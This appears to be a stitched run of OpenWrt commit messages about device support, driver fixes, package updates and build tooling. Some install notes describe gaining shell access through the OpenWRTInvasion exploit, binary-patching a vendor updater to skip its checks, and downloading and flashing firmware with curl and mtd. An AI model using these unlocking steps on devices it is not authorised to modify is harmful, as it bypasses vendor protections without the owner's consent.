on LS1012A-FRDM board.
It was required to change RCW bits, because SPI was disabled by default.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
This will make developing process easier, because dtb will be included
into image.
Not need to enable initramfs image by default.
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Currently sfp_select_interface() return the fastest interface that
the sfp modules supports even if the phy don't support that mode.
For example an GPON module that support both 2500basex and 1000basex.
Currently sfp_select_interface() picks 2500basex instead of 1000basex.
So limit the interfaces which both sides supports before calling
sfp_select_interface() or return an error if we don't have match.
Reviewed-by: John Thomson <git@johnthomson.fastmail.com.au>
Tested-by: Braihan Cantera <bcanterac@gmail.com> [MikroTik RB760iGS + Nokia G-010S-A 3FE46541AA SFP]
Tested-by: John Thomson <git@johnthomson.fastmail.com.au> [Mikrotik rb760igs + SFP SM/LC, SFP base1000T, SFP+ passive DAC]
Signed-off-by: René van Dorst <opensource@vdorst.com>
Some devices (especially QCA ones) are already using hardcoded partition
names with colons in it. The OpenMesh A62 for example provides following
mtd relevant information via cmdline:
root=31:11 mtdparts=spi0.0:256k(0:SBL1),128k(0:MIBIB),384k(0:QSEE),64k(0:CDT),64k(0:DDRPARAMS),64k(0:APPSBLENV),512k(0:APPSBL),64k(0:ART),64k(custom),64k(0:KEYS),0x002b0000(kernel),0x00c80000(rootfs),15552k(inactive) rootfsname=rootfs rootwait
The change to split only on the last colon between mtd-id and partitions
will cause newpart to see following string for the first partition:
KEYS),0x002b0000(kernel),0x00c80000(rootfs),15552k(inactive)
Such a partition list cannot be parsed and thus the device fails to boot.
Avoid this behavior by making sure that the start of the first part-name
("(") will also be the last byte the mtd-id split algorithm is using for
its colon search.
Fixes: d6a9a92e32 ("kernel: bump 5.4 to 5.4.69")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
The OpenMesh related files were not updated since a while and the new
coding style requirements weren't integrated. This can cause problems
for new devices when an author uses these files as starting point.
* use SPDX-License-Identifiers instead of full license texts
* drop linux,default-trigger with value default-off for LEDs
* led nodes with label "abc:xyz" should have name "xyz_abc"
* led DT labels for "xyz_abc" should be "led_xyz_abc"
* "m25p80@0" flash node should be renamed to "flash@0"
* drop unnecessary empty lines
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[minor commit title and message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
213748a9bcd9 system-linux: implement full device present state management for force-external devices
3abe1fc87151 system-linux: add retry for adding member devices to a bridge
Signed-off-by: Felix Fietkau <nbd@nbd.name>
You can flash via tftp recovery:
- serve tftp-recovery image as /tp_recovery.bin on 192.168.0.225/24
- connect to any ethernet port
- power on the device while holding the reset button
- wait at least 8 seconds before releasing reset button
Flashing via OEM web interface does not work.
LTE module does not support DHCP so it must be configured via QMI.
Hardware Specification (v4.0 EU):
- SoC: MT7628NN
- Flash: Winbond W25Q64JVS (8MiB)
- RAM: ESMT M14D5121632A (64MiB)
- Wireless: SoC platform only (2.4GHz b/g/n, 2x internal antenna)
- Ethernet: 1NIC (4x100M)
- WWAN: TP-LINK LTE MODULE (2x external detachable antenna)
- Power: DC 9V 0.85A
Signed-off-by: Filip Moc <lede@moc6.cz>
d4d78db uxc: also delete procd runtime state on 'delete'
e935c0c jail: add 'debug' extern variable to preload_seccomp
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
There already was an option for autoconfiguring IPv4 from QMI but this
was removed by commit 3b9b963e6e ("uqmi: always use DHCP for IPv4").
DHCP does not work on MR400 LTE module (in TL-MR6400 v4) so let's readd
support for IPv4 autoconf from QMI but this time allow to configure this
for IPv4 and IPv6 independently and keep DHCP default on IPv4.
Signed-off-by: Filip Moc <lede@moc6.cz>
Give possibility to wait forever the registration by setting timeout
option to 0.
No timeout can be useful if the interface starts whereas no network is
available, because at the end of timeout the interface will be stopped
and never restarted.
Signed-off-by: Thomas Richard <thomas.richard@kontron.com>
This reverts commit 9eb9943f82.
Building the 'modular' variant requires 'semodule_package' from
'selinux-python' to be installed on the buildhost.
Apart from that, this change also broke the monolithic refpolicy
'targeted' build.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
351d690f1a09 wireless: fix passing bridge name for vlan hotplug pass-through
c1c2728946b5 config: initialize bridge and bridge vlans before other devices
5e18d5b9ccb1 interface: do not force link-ext hotplug interfaces to present by default
4544f026bb09 bridge-vlan: add support for defining aliases for vlan ids
Signed-off-by: Felix Fietkau <nbd@nbd.name>
The wcsnrtombs function in all musl libc versions up through 1.2.1 has
been found to have multiple bugs in handling of destination buffer
size when limiting the input character count, which can lead to
infinite loop with no forward progress (no overflow) or writing past
the end of the destination buffera.
This function is not used internally in musl and is not widely used,
but does appear in some applications. The non-input-limiting form
wcsrtombs is not affected.
All users of musl 1.2.1 and prior versions should apply the attached
patch, which replaces the overly complex and erroneous implementation.
The upcoming 1.2.2 release will adopt this new implementation.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
With this commit, the download script will try downloading source files
using the filename instead of the url-filename in case the previous
download attempt using the url-filename failed.
This is required, as the OpenWrt sources mirrors serve files using the
filename files might be renamed to after downloading. If the original
mirror for a file where url-filename and filename do not match goes
down, the download failed prior to this patch.
Further improvement can be done by performing this only for the
OpenWrt sources mirrors.
Signed-off-by: David Bauer <mail@david-bauer.net>
The ImageBuilder downloads pre-built packages and adds them to images.
This process uses `opkg` which has the capability to verify package list
signatures via `usign`, as enabled per default on running OpenWrt
devices.
Until now this was disabled for ImageBuilders because neither the `opkg`
keys nor the `opkg-add` script was present during first packagelist
update.
To harden the ImageBuilder against *drive-by-download-attacks* both keys
and verification script are added to the ImageBuilder allowing `opkg` to
verify downloaded package indices.
This commit adds `opkg-add` to the ImageBuilder scripts folder. The keys
folder is added to ImageBuilder $TOPDIR to have an obvious place for users to
store their own keys. The `option check_signature` is appended to the
repositories.conf file. All of the above only happens if the Buildbot
runs with the SIGNATURE_CHECK option.
The keys stored in the ImageBuilder keys/ are the same as included in
the openwrt-keyring package. To avoid the chicken-egg problem of
downloading and verifying a package, containing signing keys, the keys
are added during the ImageBuilder generation. They are same as in
shipped images (stored at `/etc/opkg/keys/`).
To allow a local package feed in which the user can add additional
packages, a local set of `usign` and `ucert` keys is generated, same as
building OpenWrt from source. The private key signs the local repository
inside the packages/ folder. The local public key is added to the keys/
folder to be considered by `opkg` when updating repositories. This way a
local package feed can be modified while requiring `opkg` to check
signatures for remote feed, making HTTPS optional.
The new option `ADD_LOCAL_KEY` allows to add the local key inside the
created images, adding the advantage that sysupgrades can validate the
ImageBuilders local key.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Commit 5d76065 moved the creation of the symvers directory to
include/kernel-build.mk. This is fine when building from scratch. But
when unpacking an SDK the directory doesn't exist and because the kernel
won't be built (again) this directory will not be created by the build
system, causing build failure if make tries to copy files into it.
This moves the creation of the symvers directory back into
include/kernel.mk so that the directory is created in any case.
Signed-off-by: Sebastian Kemper <sebastian_ml@gmx.net>
This patch adds support for the WiFi Pineapple Mark 7, a wireless
penetration testing tool.
Specifications:
* SoC: MediaTek MT7628 (580MHz)
* RAM: 256MiB (DDR2)
* Storage 1: 32MiB NOR (SPI)
* Storage 2: 2GB eMMC
* Wireless 1: 802.11b/g/n 2.4GHz (Built In)
* Wireless 2: 802.11b/g/n 2.4GHz (MT7601)
* Wireless 3: 802.11b/g/n 2.4GHz (MT7601)
* USB: 1x USB Type-A 2.0 Host Port
* Ethernet: 1x USB Type-C AX88772C Ethernet
* UART: 57600 8N1 on PCB
* Inputs: 1x Reset Button
* Outputs: 1x RGB LED
* FCCID: 2AA52MK7
Flash Instructions:
Original firmware is based on OpenWRT.
Use sysupgrade via SSH to flash.
Signed-off-by: Marc Egerton <foxtrot@realloc.me>
[pepe2k@gmail.com: set only required/used gpio groups to gpio function]
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
New batches of the R36A board series might no longer keep separated
Ethernet MAC addresses stored in flash. Use same approach as on the
N2Q and calculate Ethernet MACs from WLAN one which is kept in ART.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network Pi-WiFi4 is a Qualcomm QCA9531 v2 based, high-power 802.11n
WiFi board in Raspberry Pi 3B shape, equipped with 1x FE and 4x USB 2.0.
Specifications:
- Qualcomm/Atheros QCA9531 v2
- 650/400/200 MHz (CPU/DDR/AHB)
- 128 MB of RAM (DDR2)
- 16+ MB of flash (SPI NOR)
- 1x 10/100 Mbps Ethernet
- 2T2R 2.4 GHz Wi-Fi with Qorvo RFFM8228P FEM
- 2x IPEX/U.FL connectors on PCB
- 4x USB 2.0 Type-A
- Genesys Logic GL850G 4-port USB HUB
- USB power is controlled by GPIO
- 5x LED (3x on PCB, 2x in RJ45, 4x driven by GPIO)
- 1x button (reset)
- external h/w watchdog (EM6324QYSP5B, enabled by default)
- 1x micro USB Type-B for power and system console (Holtek HT42B534)
- UART and GPIO (8-pin, 1.27 mm pitch) header on PCB
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on LEDE/OpenWrt. Alternatively, you can use web recovery mode in U-Boot:
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with one of RJ45 ports, press the reset button, power up
device, wait for first blink of all LEDs (indicates network setup),
then keep button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Kernel has separated the structs that are reported to be const in
checkpatch.pl into a file of its own, const_structs.checkpatch.
This file has been missing after the recent update of checkpatch.pl,
leading to the following message:
No structs that should be const will be found - file
'/data/openwrt/scripts/const_structs.checkpatch': No such file
or directory
This commit adds the relevant file from v5.10-rc4.
Fixes: 086ee09bbc ("scripts: Update checkpatch.pl to 2020-06-11")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The kernel expects changes to MAINTAINERS for all removed or added
files, printing warnings like:
WARNING: added, moved or deleted file(s), does MAINTAINERS need updating?
#828:
deleted file mode 100644
Since this does not apply to "our" files in OpenWrt repo, this
warning should be disabled.
This can be achieved easiest by setting $reported_maintainer_file
to 1. While this is a hack that tricks the script into believing
the proper MAINTAINERS changes have been made, it's the easiest
solution as it does not require to touch any other code.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The Xiaomi Mi Router 4A Gigabit model has a race condition on bootup
causing the SQUASHFS data errors to appear and create a bootloop
scenario.
Adding the m25p,fast-read property resolves this issue.
Suggested-by: David Bentham <db260179@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
CPU: Atheros AR9342 rev 3 SoC
RAM: 64 MB DDR2
Flash: 16 MB NOR SPI
WLAN 2.4GHz: Atheros AR9342 v3 (ath9k)
WLAN 5.0GHz: QCA988X
Ports: 2x GbE
Flashing procedure is identical to other ubnt devices.
https://openwrt.org/toh/ubiquiti/common
Flashing through factory firmware
1. Ensure firmware version v8.7.0 is installed.
Up/downgrade to this exact version.
2. Patch fwupdate.real binary using
`hexdump -Cv /bin/ubntbox | sed 's/14 40 fe 27/00 00 00 00/g' | \
hexdump -R > /tmp/fwupdate.real`
3. Make the patched fwupdate.real binary executable using
`chmod +x /tmp/fwupdate.real`
4. Copy the squashfs factory image to /tmp on the device
5. Flash OpenWrt using `/tmp/fwupdate.real -m <squashfs-factory image>`
6. Wait for the device to reboot
(copied from Ubiquiti NanoBeam AC and modified)
To keep it consistent, we will add the gen1 variant to
the nanobeam ac gen1.
Signed-off-by: Nick Hainke <vincent@systemli.org>
No special changes, just get in sync with recent code.
See here for the changelog:
https://valgrind.org/docs/manual/dist.news.html
The ipkg sizes changes as follows for mips 24kc :
3.15 : valgrind_3.15.0-2_mips_24kc.ipk 1450680
3.16.1 : valgrind_3.16.1-1_mips_24kc.ipk 1491954
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
No special changes, just get in sync with recent code.
See here for the changelog:
https://github.com/strace/strace/releases/tag/v5.9
The ipkg sizes changes as follows for mips 24kc :
5.8 : strace_5.8-1_mips_24kc.ipk 271195
5.9 : strace_5.9-1_mips_24kc.ipk 278352
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
No special changes, just get in sync with recent code.
See here for the changelog:
http://software.es.net/iperf/news.html#iperf-3-9-released
The ipkg sizes changes as follows for mips 24kc :
3.7 : iperf3_3.7-1_mips_24kc.ipk 39675
3.9 : iperf3_3.9-1_mips_24kc.ipk 41586
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Avoid needlessly breaking old initscripts that set EXTRA_COMMANDS. This
will aid in debugging (as it simplifies reverting to an older version of
a package) and unbreaks third-party feeds (and packages that maintain
their OpenWrt initscripts as part of the software's repo instead of the
OpenWrt feed like fastd).
Without this, initscripts that set EXTRA_COMMANDS become completely
unusable, as all default commands like start/stop cease working.
Fixes: 1a69f50dc6 ("base-files: fix rc.common help alignment")
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
This sets the validity interval for the BSS transition candidate
list to the same value as the disassociation timer.
Currently the value is always 0, which is the specification states is a
reserved value. Also, wpa_supplicant and from the looks of it some
Android implementations will outright ignore the candidate list in this
case.
Signed-off-by: David Bauer <mail@david-bauer.net>
* Add support for passing airtime_sta_weight into hostapd configuration.
* Since that commit it is possible to configure station weights. Set higher
value for larger airtime share, lower for smaller share.
I have tested this functionality by modyfing /etc/config/wireless to:
config wifi-device 'radio0'
...
option airtime_mode '1'
config wifi-iface 'default_radio0'
...
list airtime_sta_weight '01:02:03:04:05:06 1024'
Now, when the station associates with the access point it has been assigned
a higher weight value.
root@OpenWrt:~# cat /sys/kernel/debug/ieee80211/phy0/netdev\:wlan0/stations/01\:02\:03\:04\:05\:06/airtime
RX: 12656 us
TX: 10617 us
Weight: 1024
Deficit: VO: -2075 us VI: 256 us BE: -206 us BK: 256 us
[MAC address has been changed into a dummy one.]
Signed-off-by: Dobroslaw Kijowski <dobo90@gmail.com>
airtime_mode is always parsed as an empty string since it hasn't been
added into hostapd_common_add_device_config function.
Fixes: e289f183 ("hostapd: add support for per-BSS airtime configuration")
Signed-off-by: Dobroslaw Kijowski <dobo90@gmail.com>
This adds a new get_status method to a hostapd interface, which
provides information about the current interface status.
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds information from mac80211 to hostapd get_client ubus function.
This way, TX as well as RX status information as well as the signal can
be determined.
Signed-off-by: David Bauer <mail@david-bauer.net>
procd-seccomp switched to OCI-compliant seccomp parser instead of our
(legacy, OpenWrt-specific) format. Convert ruleset to new format.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
wireguard-tools is trying to import the menuconfig section
from the wireguard package, but since it's not anymore in
the same makefile this seems to fail and wireguard-tools
ends up in "extra packages" category instead with other
odds and ends.
Same for the description, it's trying to import it from the
wireguard package but it fails so it only shows the line
written in this makefile.
remove the broken imports and add manually the entries
and description they were supposed to load
Fixes: ea980fb9c6 ("wireguard: bump to 20191226")
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
[fix trailing whitespaces, add Fixes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds a missing ";;" in the switch-case in 11-ath10k-caldata.
Fixes: 4d36569b9c ("ath79: fix ath10k caldata extraction on some
D-Link DIR-842 C3 devices")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
According to forum threads [0][1] and a report on IRC by Doc-Saintly
some of those boards have calibration data in a different place. Only
one alternative location is known.
Without proper board calibration data (board.bin having all 0xff bytes)
ath10k firmware still tries to load but crashes on startup with a
confusing error message.
If you're applying this patch manually on your device do not forget to
remove /lib/firmware/ath10k/pre-cal-pci-0000:00:00.0.bin and reboot to
force caldata re-extraction.
[0] https://forum.openwrt.org/t/support-for-d-link-dir842-rev-c3/41654
[1] https://forum.openwrt.org/t/d-link-dir-842-cant-access-firmware-upload-form/65454
Signed-off-by: Paul Fertser <fercerpav@gmail.com>
All targets that used mvsw61xx have switched to upstream mv88e6xxx DSA
driver, so it can be removed.
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
mediatek frequently had mixed indent (tabs vs. spaces) in DTS files
and DTS file kernel patches (probably due to careless copy/paste).
The harmonizes these cases to tabs-only, as usual for DTS(I).
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Both bcm2709 and bcm2710 firmware can run on the same RaspberryPi
models, varying however in 32 and 64 Bit architectures. The model name
alone does not include the architecture information, which becomes
problematic if looking at a overview that only contains the names. By
adding a variant it is possible to tell the architecture.
Signed-off-by: Paul Spooren <mail@aparcar.org>
BusyBox ip already provides the required functionality and is enabled by default
in OpenWrt. This patch drops the ip dependency and makes the BusyBox ip required
dependencies explicit, allowing for a significant image size reduction.
openwrt-ath79-generic-ubnt_nanostation-loco-m-squashfs-sysupgrade.bin size:
4588354 bytes (with ip-tiny)
4457282 bytes (with BusyBox ip)
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Apple ships a broken make version with the Xcode command line tools.
Homebrew installs make as gmake by default in order to not collide with
Apple's version.
Exit with an error if the broken one is used accidentally
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This pci@40000000 node from upstream was dropped when the device
was converted from local DTS(I) files to kernel patches in [1] to
ensure that change was purely cosmetic.
However, the DK04.1 has a PCI-E slot by default, so let's keep
(i.e. not remove) the kernel definition now.
[1] c4beac9ea2 ("ipq40xx: use upstream DTS files for IPQ4019/AP-DK04.1")
Suggested-by: Robert Marko <robert.marko@sartura.hr>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A lot of patches are outdated versions of upstreamed patches and
drivers.
So lets pull in the upstreamed patches and reorder remaining ones.
This drops the unnecessary 721-dts-ipq4019-add-ethernet-essedma-node.patch
which adds nodes for not yet in OpenWrt IPQESS driver.
Signed-off-by: Robert Marko <robert.marko@sartura.hr>
[do not touch 902-dts-ipq4019-ap-dk04.1.patch here]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Define wildcard patterns for filtering in target/linux/generic/config-filter
Preparation for supporting newer kernels
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This replaces the previous (deprecated) method of collecting symvers data
in $(PKG_BUILD_DIR)/Module.symvers, which does not work on newer kernels
Signed-off-by: Felix Fietkau <nbd@nbd.name>
MikroTik recently changed again the way they store wlan calibration data
on devices. Prior to this change, ERD calibration data for all available
radios was stored within a single identifier node ("tag" in RouterBoot
parlance).
Recent devices have been seen with calibration (and BDF) data stored in
separate identifiers within LZOR packing for each radio: this patch
addresses this by:
1) ensuring that both variants are properly supported,
2) preserving backward compatibility with existing data consumers,
3) allowing for more than 2 calibration blobs to be exposed via sysfs.
Specifically, before this patch, the driver would provide a single sysfs
file named /sys/firmware/mikrotik/hard_config/wlan_data that contained
whatever calibration data found on the device's flash. After this patch,
when executed on a device that uses the old style storage, this behavior
is unchanged, but when executed on a device that uses new style storage
(for either traditional "ERD" packing or "LZOR" packing), the driver
replaces that single file with a folder containing one or more files
each containing the data encoded within individual identifiers.
As far as OpenWRT is concerned, this means that for devices which are
known to exist with both styles of data storage, a suitable hotplug stub
could look like this for e.g. the second radio:
wdata="/sys/firmware/mikrotik/hard_config/wlan_data"
( [ -f "$wdata" ] && caldata_sysfsload_from_file "$wdata" 0x8000 0x2f20 ) || \
( [ -d "$wdata" ] && caldata_sysfsload_from_file "$wdata/data_2" 0x0 0x2f20 )
This patch has been tested with LZOR old and new style packing on ipq4019,
and with old style on ath79.
Tested-by: John Thomson <git@johnthomson.fastmail.com.au>
Tested-by: Шебанов Алексей <admin@ublaze.ru>
Tested-by: Alen Opačić <subixonfire@gmail.com>
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
Tested-by: Robert Marko <robimarko@gmail.com>
Backport upstream commits that sync the local kernel header
copies in this library, with up to date copies. These updated
headers ensure that libnetfilter-log users can use current
kernel functionality such as requesting that conntrack
information be appended to nflog events sent to userspace via
the NFULNL_CFG_F_CONNTRACK flag. This functionality has been
available since kernel version 4.4
Signed-off-by: Brett Mastbergen <bmastbergen@untangle.com>
Running the updated checkpatch version with spelling.txt show that
spelling mistakes happen to everyone.
> /target/linux$ fd .*.patch | xargs ../../scripts/checkpatch.pl | rg spell
WARNING: 'usefull' may be misspelled - perhaps 'useful'?
WARNING: 'afecting' may be misspelled - perhaps 'affecting'?
WARNING: 'usefull' may be misspelled - perhaps 'useful'?
WARNING: 'afecting' may be misspelled - perhaps 'affecting'?
WARNING: 'begining' may be misspelled - perhaps 'beginning'?
WARNING: 'superflous' may be misspelled - perhaps 'superfluous'?
WARNING: 'multipe' may be misspelled - perhaps 'multiple'?
WARNING: 'recieves' may be misspelled - perhaps 'receives'?
WARNING: 'retreive' may be misspelled - perhaps 'retrieve'?
WARNING: 'tranfer' may be misspelled - perhaps 'transfer'?
WARNING: 'additonal' may be misspelled - perhaps 'additional'?
WARNING: 'accomodate' may be misspelled - perhaps 'accommodate'?
[...]
Signed-off-by: Paul Spooren <mail@aparcar.org>
Remove checks for device tree documentation as the OpenWrt tree comes
withouth the ./Documentation folder.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Checkpatch grown in functionallity and we should make use of that. If
OpenWrt patches should be upstream material they should also be checked
based on upstream checkpatch.pl instead of 2013.
Signed-off-by: Paul Spooren <mail@aparcar.org>
CONFIG_EFI_VARS has been disabled in
64bit x86 target in 2018 by the following commit
b0a51dab8c
the same reasons apply to Generic target, so
now it's disabled here too.
Leaving it enabled is also blocking compile as
a new symbol was added
EFI_CUSTOM_SSDT_OVERLAYS
that depends from CONFIG_EFI_VARS
and the build system stops and waits for
user input on what to do about it.
The Legacy and Geode targets never
had any EFI_xxx configs enabled so they
don't have this issue
Signed-off-by: Alberto Bursi <bobafetthotmail@gmail.com>
This adds support for RTL839x SoCs in the ethernet and switch
drivers of the rtl838x architecture.
Reviewed-by: Andreas Oberritter <obi@saftware.de>
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This change adds the configuration option to build and include
the nft_queue kernel module, which allows traffic to be queued up
to userspace from an nftables rule
Tested-by: Sébastien Delafond sdelafond@gmail.com
Signed-off-by: Brett Mastbergen <bmastbergen@untangle.com>
this patch fixes/improves follows:
- PATTERN_LEN is defined as a macro but unused
- redundant logic in count-up for "ptn"
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
The source date epoch is the only reproducible date close to the actual
build date. It can be used for tooling like the firmware wizard to show
the image age.
Signed-off-by: Paul Spooren <mail@aparcar.org>
On some systems I see the issue that crond dies after a few days.
Simply letting procd respawn the process is a simple safety-net.
Signed-off-by: Bruno Randolf <br1@einfach.org>
5c36293f06 resolv: Serialize processing in resolv/tst-resolv-txnid-collision
2dfa659a66 resolv: Handle transaction ID collisions in parallel queries (bug 26600)
05c025abca support: Provide a way to clear the RA bit in DNS server responses
f688bcd83d support: Provide a way to reorder responses within the DNS test server
eba0ce6058 Remove __warndecl
5337b2af4b Remove __warn_memset_zero_len [BZ #25399]
c6e794640c aarch64: Add unwind information to _start (bug 26853)
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
Add support for the following devices:
- Xiaomi Mi Wi-Fi Router 3G v2
- Xiaomi Mi Router 4A Gigabit Edition
Signed-off-by: Antonis Kanouras <antonis@metadosis.eu>
[add explicit case for 4A, bump PKG_RELEASE,
improve commit title/message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This device has previously been supported by the image
for Xiaomi Mi Router 3G v2. Since this is not obvious, the
4A is marketed as a new major revision and it also seems to
have a different bootloader, this will be both more tidy and
more helpful for the users.
Apart from that, note that there also is a 100M version of
the device that uses mt7628 platform, so a specifically named
image will also prevent confusion in this area.
Specifications:
- SoC: MediaTek MT7621
- Flash: 16 MiB NOR SPI
- RAM: 128 MiB DDR3
- Ethernet: 3x 10/100/1000 Mbps (switched, 2xLAN + WAN)
- WIFI0: MT7603E 2.4GHz 802.11b/g/n
- WIFI1: MT7612E 5GHz 802.11ac
- Antennas: 4x external (2 per radio), non-detachable
- LEDs: Programmable "power" LED (two-coloured, yellow/blue)
Non-programmable "internet" LED (shows WAN activity)
- Buttons: Reset
Installation:
Bootloader won't accept any serial input unless "boot_wait" u-boot
environment variable is changed to "on".
Vendor firmware won't accept any serial input until "uart_en" is
set to "1".
Using the https://github.com/acecilia/OpenWRTInvasion exploit you
can gain access to shell to enable these options:
To enable uart keyboard actions - 'nvram set uart_en=1'
To make uboot delay boot work - 'nvram set boot_wait=on'
Set boot delay to 5 - 'nvram set bootdelay=5'
Then run 'nvram commit' to make the changes permanent.
Once in the shell (following the OpenWRTInvasion instructions) you
can then run the following to flash OpenWrt and then reboot:
'cd /tmp; curl https://downloads.openwrt.org/...-sysupgrade.bin
--output firmware.bin; mtd -e OS1 -r write firmware.bin OS1'
Suggested-by: David Bentham <db260179@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
E600G v2 based on Qualcomm/Atheros QCA9531
Specification:
- 650/600/200 MHz (CPU/DDR/AHB)
- 128/64 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 2T2R 2.4 GHz
- 2 x 10/100 Mbps Ethernet(RJ45)
- 1 x MiniPCI-e
- 1 x SIM (3G/4G)
- 5 x LED , 1 x Button(SW2-Reset Buttun), 1 x power input
- UART(J100) header on PCB(115200 8N1)
E600GAC v2 based on Qualcomm/Atheros QCA9531 + QCA9887
Specification:
- 650/600/200 MHz (CPU/DDR/AHB)
- 128/64 MB of RAM (DDR2)
- 8/16 MB of FLASH (SPI NOR)
- 2T2R 2.4 GHz
- 1T1R 5 GHz
- 2 x 10/100 Mbps Ethernet(RJ45)
- 6 x LED (one three-color led), 2 x Button(SW2-Reset Buttun),1 x power input
- UART (J100)header on PCB(115200 8N1)
Flash instruction:
1.Using tftp mode with UART connection and original OpenWrt image
- Configure PC with static IP 192.168.1.10 and tftp server.
- Rename "openwrt-ath79-generic-xxx-squashfs-sysupgrade.bin"
to "firmware.bin" and place it in tftp server directory.
- Connect PC with one of LAN ports, power up the router and press
key "Enter" to access U-Boot CLI.
- Use the following commands to update the device to OpenWrt:
run lfw
- After that the device will reboot and boot to OpenWrt.
- Wait until all LEDs stops flashing and use the router.
2.Using httpd mode with Web UI connection and original OpenWrt image
- Configure PC with static IP 192.168.1.xxx(2-255) and tftp server.
- Connect PC with one of LAN ports,press the reset button, power up
the router and keep button pressed for around 6-7 seconds, until
leds flashing.
- Open your browser and enter 192.168.1.1,You will see the upgrade
interface, select "openwrt-ath79-generic-xxx-squashfs-
sysupgrade.bin" and click the upgrade button.
- After that the device will reboot and boot to OpenWrt.
- Wait until all LEDs stops flashing and use the router.
Signed-off-by: 张鹏 <sd20@qxwlan.com>
[rearrange in generic.mk, fix one case in 04_led_migration, update
commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The file lacks executable permissions, which makes it not being applied
during the first boot.
While at it, drop unneeded include.
Signed-off-by: Piotr Jurkiewicz <piotr.jerzy.jurkiewicz@gmail.com>
[do not touch board name handling, update commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* noise: take lock when removing handshake entry from table
This is a defense in depth patch backported from upstream to account for any
future issues with list node lifecycles.
* netns: check that route_me_harder packets use the right sk
A test for an issue that goes back to before Linux's git history began. I've
fixed this upstream, but it doesn't look possible to put it into the compat
layer, as it's a core networking problem. But we still test for it in the
netns test and warn on broken kernels.
* qemu: drop build support for rhel 8.2
We now test 8.3+.
* compat: SYM_FUNC_{START,END} were backported to 5.4
* qemu: bump default testing version
The real motivation for this version bump: 5.4.76 made a change that broke our
compat layer.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Remove deferred sampling code which does not work well with rate tables +
probing.
Fix tx status handling if the first invalid rate idx is not set to -1
Signed-off-by: Felix Fietkau <nbd@nbd.name>
3023b0cc7352 bridge: add support for defining port member vlans via hotplug ops
a3016c451248 vlan: add pass-through hotplug ops that pass the VLAN info to the bridge
d59f3ddcbaf0 vlandev: add pass-through hotplug ops that pass the VLAN info to the bridge
dd5e61153636 bridge: show vlans in device status
a56e14afa612 bridge: preserve hotplug ports on vlan update if config is unchanged
d1e8884f8911 bridge: fix use-after-free bug on bridge member free
3a2b21001c3c system-dummy: set present state only for simple devices
ed11f0c0ffe4 bridge: only overwrite implicit vlan assignment if vlans are configured
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Allow configuring ipsets with dedicated config sections:
config ipset
list name 'ss_rules_dst_forward'
list name 'ss_rules6_dst_forward'
list domain 't.me'
list domain 'telegram.org'
instead of current, rather inconvenient syntax:
config dnsmasq
...
list ipset '/t.me/telegram.org/ss_rules_dst_forward,ss_rules6_dst_forward'
Current syntax will still continue to work though.
With this change, a LuCI GUI for DNS ipsets should be easy to implement.
Signed-off-by: Aleksandr Mezin <mezin.alexander@gmail.com>
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com> [PKG_RELEASE increase]
This patch adds support for D-Link DIR-2640 A1.
Specifications:
* Board: AP-MTKH7-0002
* SoC: MediaTek MT7621AT
* RAM: 256 MB (DDR3)
* Flash: 128 MB (NAND)
* WiFi: MediaTek MT7615N (x2)
* Switch: 1 WAN, 4 LAN (Gigabit)
* Ports: 1 USB 2.0, 1 USB 3.0
* Buttons: Reset, WPS
* LEDs: Power (blue/orange), Internet (blue/orange), WiFi 2.4G (blue),
WiFi 5G (blue), USB 3.0 (blue), USB 2.0 (blue)
Notes:
* WiFi 2.4G and WiFi 5G LEDs are wired directly to the wireless chips
Installation:
* D-Link Recovery GUI: power down the router, press and hold the reset
button, then re-plug it. Keep the reset button pressed until the power
LED starts flashing orange, manually assign a static IP address under
the 192.168.0.xxx subnet (e.g. 192.168.0.2) and go to http://192.168.0.1
